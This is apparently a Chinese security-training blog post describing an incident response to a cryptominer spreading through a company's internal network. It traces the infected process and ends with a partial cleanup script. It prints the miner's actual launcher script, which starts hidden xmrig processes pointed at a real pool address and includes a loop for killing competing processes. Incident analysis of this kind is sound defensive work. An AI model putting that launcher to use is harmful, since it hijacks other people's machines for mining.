网安教育
培养网络安全人才
技术交流、学习咨询
前几天公司的一台虚拟机CPU持续告警,IT周日发现了问题,后来发现是挖矿病毒并且已经在内网扩散了,安全小组立刻展开调查。因为网上文章对于挖矿在内网扩散怎么解决的思路很少,所以才有了下面这篇文章。
周一上午IT部门反馈内部服务器疑似被攻击,攻击特征为cpu利用率非常高,几乎占满,怀疑被挖矿开始跟踪分析。
2.1、确定是否为攻击
IT部门给了我一台ip为192.168.5.3的服务器让我先做初步的分析,登上去后。
首先通过top查看服务器,发现pid为1320,bash启动的程序cpu占用率高达4000%,进行查看。
先确定启动进程的文件位置为/mnt/.bash/,然后kill -9终止进程。
#下面的命令可以查看PID为1320的进程是由哪个文件启动的。
1#下面的命令可以查看PID为1320的进程是由哪个文件启动的。
2ls -l /proc/1320/exe
3lrwxrwxrwx 1 root root 0 Jan 25 09:40 /proc/1320/exe -> /mnt/.bash/.bash/bash (deleted) #这里的deleted表示启动的文件被删除了
查看目录下都有什么内容
1[root@host2 ~]# ls
2a bash bash3 bash.pid c cron.d dir.dir h32 h64 run stak stak3 upd x z
查看了run文件的内容,其中内容如下,存在明显的挖矿的特征,确定为挖矿病毒
1#!/bin/bash
2#下面的循环会删除服务器上所有cpu高于40%的服务,为自己的挖矿程序提供更多的cpu使用。
3#ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid
4#do
5#kill -9 $procid
6#done
7proc=`nproc`
8ARCH=`uname -m`
9HIDE="xmrig"
10#根据不同的架构启动不同挖矿程序
11if [ "$ARCH" == "i686" ]; then
12 ./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 188.166.218.65:54 -a cn/r -k >>/dev/null &
13elif [ "$ARCH" == "x86_64" ]; then
14 ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 188.166.218.65:54 -k >>/dev/null &
15fi
16echo $! > bash.pid
2.2、明确自己要干的事情
因为刚开始只拿到了一台服务器确定了问题,所以现在有两个重要的事情需要同时去做。
找到攻击的入口点并处理掉入口点的安全问题。
确认内网扩散的影响,内网扩散的手段,并删除内网扩散的挖矿病毒。
所以我就开始一边写删除挖矿病毒的临时脚本,一边开始看服务器的记录,找到入口程序。
下面我会将这两件事分开来讲,但是上面两件事情是同步去做的。
2.3、编写删除挖矿脚本的程序
为了彻底删除挖矿脚本,我们就要知道这个挖矿程序都干了什么事情。我先排查了定时任务,crontab -e编辑定时任务,刚发现挖矿程序在/mnt/.bash,所以又去看了另外一台服务器发现了/mnt/.cache所以可以确定这个定时任务就是挖矿病毒留下来的。
使用脚本删除定时任务,需要修改/var/spool/cron/或者/var/spool/cron/root这两个文件(centos和ubuntu有所不同),因为我们的服务器大多数都是centos,所以我简单判断了一下操作系统版本。
后面来自其他部门的多次反馈,确定了挖矿程序主要放在/mnt/.cache /mnt/.bash /tmp/.cache这三个目录下,所以我们可以找到进程中哪些进程都是由这三个目录中的文件启动的就杀掉,所以就写好了下面的代码
删除挖矿程序
通过排查,发现这个挖矿程序很简单,我们只需要关注三点:
杀进程
删文件
删定时任务
这里贴出来自己最后的代码,虽然很简陋,甚至代码冗余,但是确实最快速解决问题的方法了。
1#!/bin/bash
2
3DIR_PATH="/mnt/.cache"
4FILE_PATH="/mnt/.cache/upd"
5
6CRON_FILE="/var/spool/cron/root"
7
8#判断是不是ubuntu
9is_ubuntu=$(cat /proc/version | grep ubuntu | wc -l)
10
11if [[ is_ubuntu == 1 ]];then
12 CRON_FILE="/var/spool/cron/crontabs/root"
13fi
14
15#杀进程
16pid_num=$(ls -l /proc/*/exe 2>&1 | grep mnt/.bash | awk '{print $9}' | cut -f3 -d"/")
17if [ ! -z "$pid_num" ];then
18 echo -e " 33[31m正在kill隐藏进程,启动目录为/mnt/.bash 33[0m"
19 kill -9 $pid_num
20fi
21pid_num2=$(ls -l /proc/*/exe 2>&1 | grep mnt/.cache | awk '{print $9}' | cut -f3 -d"/")
22if [ ! -z "$pid_num2" ];then
23 echo -e " 33[31m正在kill隐藏进程,启动目录为/mnt/.cache 33[0m"
24 kill -9 $pid_num2
25fi
26pid_num3=$(ls -l /proc/*/exe 2>&1 | grep tmp/.bash | awk '{print $9}' | cut -f3 -d"/")
27if [ ! -z "$pid_num3" ];then
28 echo -e " 33[31m正在kill隐藏进程,启动目录为/tmp/.bash 33[0m"
29 kill -9 $pid_num3
30fi
31pid_num4=$(netstat -antlp | grep 206.81.29.251 | awk '{print $7}' | cut -f1 -d"/")
32if [ ! -z "$pid_num4" ];then
33 echo -e " 33[31m正在kill隐藏进程,netstat 为206.81.29.251 33[0m"
34 kill -9 $pid_num4
35fi
36
37
38if [ -d "$DIR_PATH" ]; then
39 if [ -x "$FILE_PATH" ]; then
40 echo -e " 33[31m该服务器已中挖矿病毒,开始清除
评论